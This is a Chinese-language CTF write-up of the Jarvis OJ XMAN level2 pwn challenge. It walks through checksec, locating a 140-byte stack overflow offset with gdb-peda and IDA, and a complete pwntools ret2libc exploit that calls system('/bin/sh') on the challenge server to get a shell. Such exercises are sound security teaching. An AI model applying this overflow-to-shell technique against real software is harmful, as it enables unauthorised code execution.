XMAN-level2

Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level2.

题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。

首先使用 file 命令查看文件

file level2.54931449c557d0551c4fc2a10f4778a1 
level2.54931449c557d0551c4fc2a10f4778a1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped

程序是32位 ELF 文件

使用 checksec 查看文件保护机制 (gdb peda插件

gdb ./level2.54931449c557d0551c4fc2a10f4778a1

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial  

程序启用了 NX (栈不可执行)

用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞

ssize_t vulnerable_function()
{
    char buf; // [sp+0h] [bp-88h]@1

    system("echo Input:");
    return read(0, &buf, 0x100u);
}

但是,程序并开启了 NX 保护机制,因此栈中的代码不可执行。不过程序中调用了 libcsystem 函数,并且发现程序中有 /bin/sh 字符串,因此只要构造 payload 覆盖返回地址,将程序转到 libcsystem 函数处执行,并在栈中设置好函数参数,使程序执行 system(/bin/sh) 即可得到 shell。

要注意的是,通过溢出覆盖返回地址(ret)将程序转到 system 函数后,system 函数仍然会认为程序是通过 call system 指令正常调用的,因此认为当前栈顶(ret+4)是执行完 system 函数后的返回地址,次栈顶(ret+8)为参数。因此构造 payload 时,system 函数地址与参数(/bin/sh)之间隔了一个 4 字节的返回地址。

接下来确定溢出点的位置,使用 pattern 来计算

这里要注意,peda 默认会设置 gdb 的 follow-fork-mode 参数为 child ,即跟踪调试子程序,而我们要跟踪的是主程序,因此在调试前需要设置参数

gdb-peda$ show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".
gdb-peda$ set follow-fork-mode parent


gdb-peda$ pattern create 150 payload
Writing pattern of 150 chars to filename "payload"
gdb-peda$ run < payload 
Starting program: /home/xxx/pwn/XMAN/level1/level1.80eacdcd51aca92af7749d96efad7fb5 < payload
What's this:0xffffcde0?

Program received signal SIGSEGV, Segmentation fault.

Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140 

成功计算出溢出点偏移为140字节

此外,同样可以直接阅读反汇编代码,计算溢出点

.text:0804844B                 public vulnerable_function
.text:0804844B vulnerable_function proc near           ; CODE XREF: main+11p
.text:0804844B
.text:0804844B buf             = byte ptr -88h
.text:0804844B
.text:0804844B                 push    ebp
.text:0804844C                 mov     ebp, esp
.text:0804844E                 sub     esp, 88h
.text:08048454                 sub     esp, 0Ch
.text:08048457                 push    offset command  ; "echo Input:"
.text:0804845C                 call    _system
.text:08048461                 add     esp, 10h
.text:08048464                 sub     esp, 4
.text:08048467                 push    100h            ; nbytes
.text:0804846C                 lea     eax, [ebp+buf]
.text:08048472                 push    eax             ; buf
.text:08048473                 push    0               ; fd
.text:08048475                 call    _read
.text:0804847A                 add     esp, 10h
.text:0804847D                 nop
.text:0804847E                 leave
.text:0804847F                 retn
.text:0804847F vulnerable_function endp

从 vulnerable_function 代码中可以看出,在栈帧中缓冲区在 ebp-88h 处,因此 ebp 相对缓冲区的偏移为 0x88,返回地址的偏移为 0x88+0x4=0x8C(140)

使用 pwntools 编写 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys

from pwn import *

def main(local=False):
    if local:
        context.log_level = 'debug'
        io = process('./level2.54931449c557d0551c4fc2a10f4778a1')
    else:
        context.log_level = 'info'
        io = remote('pwn2.jarvisoj.com', 9878)

    elf = ELF('./level2.54931449c557d0551c4fc2a10f4778a1')

    system_addr = elf.symbols['system']

    binsh_addr = elf.search('/bin/sh').next()

    payload = 'A' * 140
    payload += p32(system_addr)
    payload += 'AAAA'
    payload += p32(binsh_addr)

    io.sendline(payload)

    io.interactive()

if __name__ == '__main__':
    if len(sys.argv) >= 2 and sys.argv[1] == 'local':
        main(True)
    else:
        main()

reference
一步一步学ROP之linux_x86篇
一步一步学ROP之linux_x64篇

0%